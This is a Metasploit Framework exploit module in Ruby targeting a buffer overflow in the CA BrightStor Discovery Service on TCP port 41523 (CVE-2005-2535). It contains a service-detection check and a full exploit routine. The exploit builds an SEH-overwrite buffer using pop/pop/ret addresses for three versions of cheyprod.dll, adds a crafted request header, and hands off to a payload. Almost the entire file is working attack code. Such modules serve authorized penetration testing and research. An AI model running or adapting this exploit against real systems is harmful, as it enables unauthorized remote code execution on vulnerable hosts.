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## # $Id: discovery_tcp.rb 9179 2010-04-30 08:40:19Z jduck $ ## ## # This file is part of the Metasploit Framework and may be subject to # redistribution and commercial restrictions. Please see the Metasploit # Framework web site for more information on licensing and terms of use. # http://metasploit.com/framework/ ## require 'msf/core' class Metasploit3 < Msf::Exploit::Remote Rank = AverageRanking include Msf::Exploit::Remote::Tcp include Msf::Exploit::Seh def initialize(info = {}) super(update_info(info, 'Name' => 'CA BrightStor Discovery Service TCP Overflow', 'Description'=> %q{ This module exploits a vulnerability in the CA BrightStor Discovery Service. This vulnerability occurs when a specific type of request is sent to the TCP listener on port 41523. This vulnerability was discovered by cybertronic[at]gmx.net and affects all known versions of the BrightStor product. This module is based on the 'cabrightstor_disco' exploit by Thor Doomen. }, 'Author' => [ 'hdm', 'patrick' ], 'License'=> MSF_LICENSE, 'Version'=> '$Revision: 9179 $', 'References' => [ [ 'CVE', '2005-2535'], [ 'OSVDB', '13814'], [ 'BID', '12536'], [ 'URL', 'http://archives.neohapsis.com/archives/bugtraq/2005-02/0123.html'], [ 'URL', 'http://milw0rm.com/exploits/1131'], ], 'Privileged' => true, 'Payload'=> { 'Space'=> 2048, 'BadChars' => "\x00", 'StackAdjustment' => -3500, }, 'Targets'=> [ [ 'cheyprod.dll 9/14/2000', # Build 1220.0 9/14/2000 7.0.1220.0 { 'Platform' => 'win', 'Ret'=> 0x23803b20, # pop/pop/ret 'Offset' => 1032, }, ], [ 'cheyprod.dll 12/12/2003', { 'Platform' => 'win', 'Ret'=> 0x23805714, # pop/pop/ret 'Offset' => 1024, }, ], [ 'cheyprod.dll 07/21/2004', { 'Platform' => 'win', 'Ret'=> 0x23805d10, # pop/pop/ret 'Offset' => 1024, }, ], ], 'DisclosureDate' => 'Feb 14 2005', 'DefaultTarget' => 1)) register_options( [ Opt::RPORT(41523) ], self.class) end def check # The first request should have no reply csock = Rex::Socket::Tcp.create( 'PeerHost'=> datastore['RHOST'], 'PeerPort'=> datastore['RPORT'], 'Context' => { 'Msf'=> framework, 'MsfExploit' => self, }) csock.put('META') x = csock.get_once(-1, 3) csock.close # The second request should be replied with the host name csock = Rex::Socket::Tcp.create( 'PeerHost'=> datastore['RHOST'], 'PeerPort'=> datastore['RPORT'], 'Context' => { 'Msf'=> framework, 'MsfExploit' => self, }) csock.put('hMETA') y = csock.get_once(-1, 3) csock.close if (y and not x) return Exploit::CheckCode::Detected end return Exploit::CheckCode::Safe end def exploit connect print_status("Trying target #{target.name}...") buf = rand_text_english(4096) # Overwriting the return address works well, but the only register # pointing back to our code is 'esp'. The following stub overwrites # the SEH frame instead, making things a bit easier. seh = generate_seh_payload(target.ret) buf[target['Offset'], seh.length] = seh # Make sure the return address is invalid to trigger SEH buf[ 900, 100] = (rand(127)+128).chr * 100 # SERVICEPC is the client host name actually =P (thanks Juliano!) req = "\x9b" + 'SERVICEPC' + "\x18" + [0x01020304].pack('N') + 'SERVICEPC' + "\x01\x0c\x6c\x93\xce\x18\x18\x41" req << buf sock.put(req) sock.get_once handler disconnect end end |
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